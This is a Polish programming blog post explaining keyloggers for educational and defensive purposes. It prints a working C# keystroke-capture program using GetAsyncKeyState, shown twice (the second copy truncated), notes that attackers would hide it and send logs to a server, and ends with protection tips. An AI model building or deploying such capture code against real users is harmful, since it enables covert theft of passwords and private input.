C# – Przechwytywanie wciśniętych klawiszy

Praktycznie każdy użytkownik, posiadający komputer z dostępem do internetu może w prosty sposób paść ofiarą ataku hakerskiego bądź złośliwego wirusa. Aby się przed tym skutecznie bronić, najlepiej to poznać – prawda? 🙂

W dzisiejszych czasach jest wiele różnych szkodliwych i złośliwych oprogramowań. Jednym z powszechnie znanych, służących do wykradania danych jest tzw. “keylogger” czyli aplikacja, która przechwytuje wpisywane przez ofiarę znaki na jej klawiaturze.

Oto kod przykładowego keyloggera, który wypisuje wcisnięte klawisze w konsoli. Keylogger, którym posługiwałby się haker, działałby w tle i wysyłał logi z klawiatury na maila albo jakiś serwer, natomiast nasz program został stworzony w celach edukacyjnych.

using System;
//potrzebna do importu dll
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace wiedza_keylogger
{
    class Program
    {
        //importujemy user32.dll
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);

        static void Main(string[] args)
        {
            //zapętlenie programu
            while (true)
            {
                //dodajemy sleep, by odciążyć procesor (im większa liczba, tym mniejsze obciążenie)
                Thread.Sleep(2);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    // keystate tylko podczas klikniecia
                    // mozesz sprawdzic co bedzie bez tego warunku ponizej
                    if (keyState == 1 || keyState == -32767)
                    {
                        // wypisujemy na ekran wcisniety klawisz, w praktyce musięlibyśmy go dodać do 
                        // jakiegoś ciągu znaków i wysłać gdy np. będzie dłuższy niż 500 znaków
                        Console.Write((Keys)i);
                    }
                   
                }
            }
        }
    }
}

using System;

//potrzebna do importu dll

using System.Runtime.InteropServices;

using System.Threading;

using System.Windows.Forms;

namespace wiedza_keylogger

{

class Program

{

//importujemy user32.dll

[DllImport("user32.dll")]

public static extern int GetAsyncKeyState(Int32 i);

static void Main(string[] args)

{

//zapętlenie programu

while (true)

{

//dodajemy sleep, by odciążyć procesor (im większa liczba, tym mniejsze obciążenie)

Thread.Sleep(2);

for (Int32 i = 0; i < 255; i++)

{

int keyState = GetAsyncKeyState(i);

// keystate tylko podczas klikniecia

// mozesz sprawdzic co bedzie bez tego warunku ponizej

if (keyState == 1 || keyState == -32767)

{

// wypisujemy na ekran wcisniety klawisz, w praktyce musięlibyśmy go dodać do

// jakiegoś ciągu znaków i wysłać gdy np. będzie dłuższy niż 500 znaków

Console.Write((Keys)i);

}

Najważniejszą rzeczą, którą powinieneś wiedzieć, jest to że klawiatura ekranowa nie uchroni Cię przed atakiem. Włącz sobie program i przetestuj to na własnej skórze, zobaczysz wtedy że mimo kliknięcia program dokładnie wie, który klawisz został wciśnięty. Warto również wiedzieć, że zazwyczaj programy tego typu uruchamiają się w tle, przy starcie systemu, dlatego nie masz pojęcia o ich istnieniu na swoim komputerze.

Jak się przed nimi chronic?

zainstaluj program antywirusowy na swoim komputerze
pobieraj programy tylko z zaufanych źródeł
sprawdź programy, które uruchamiają się przy starcie systemu
pamiętaj, że niektóre złośliwe programy mogę zostać połączone z innymi, działającymi programami

Jerzy Kołakowski

Pasjonat informatyki, bloger.

Full-stack Developer

Technologie:

ASP.NET MVC
ASP.NET CORE
Angular 2+

Wiedza Informatyczna

Podziel się wiedzą z innymi!

C# – Przechwytywanie wciśniętych klawiszy

About the Author: Jerzy Kołakowski

Dodaj komentarz Anuluj pisanie odpowiedzi

You May Also Like

C# – Różnice pomiędzy typem wartościowym, a referencyjnym

C# – Współbieżność

About the Author: Jerzy Kołakowski

Dodaj komentarz Anuluj pisanie odpowiedzi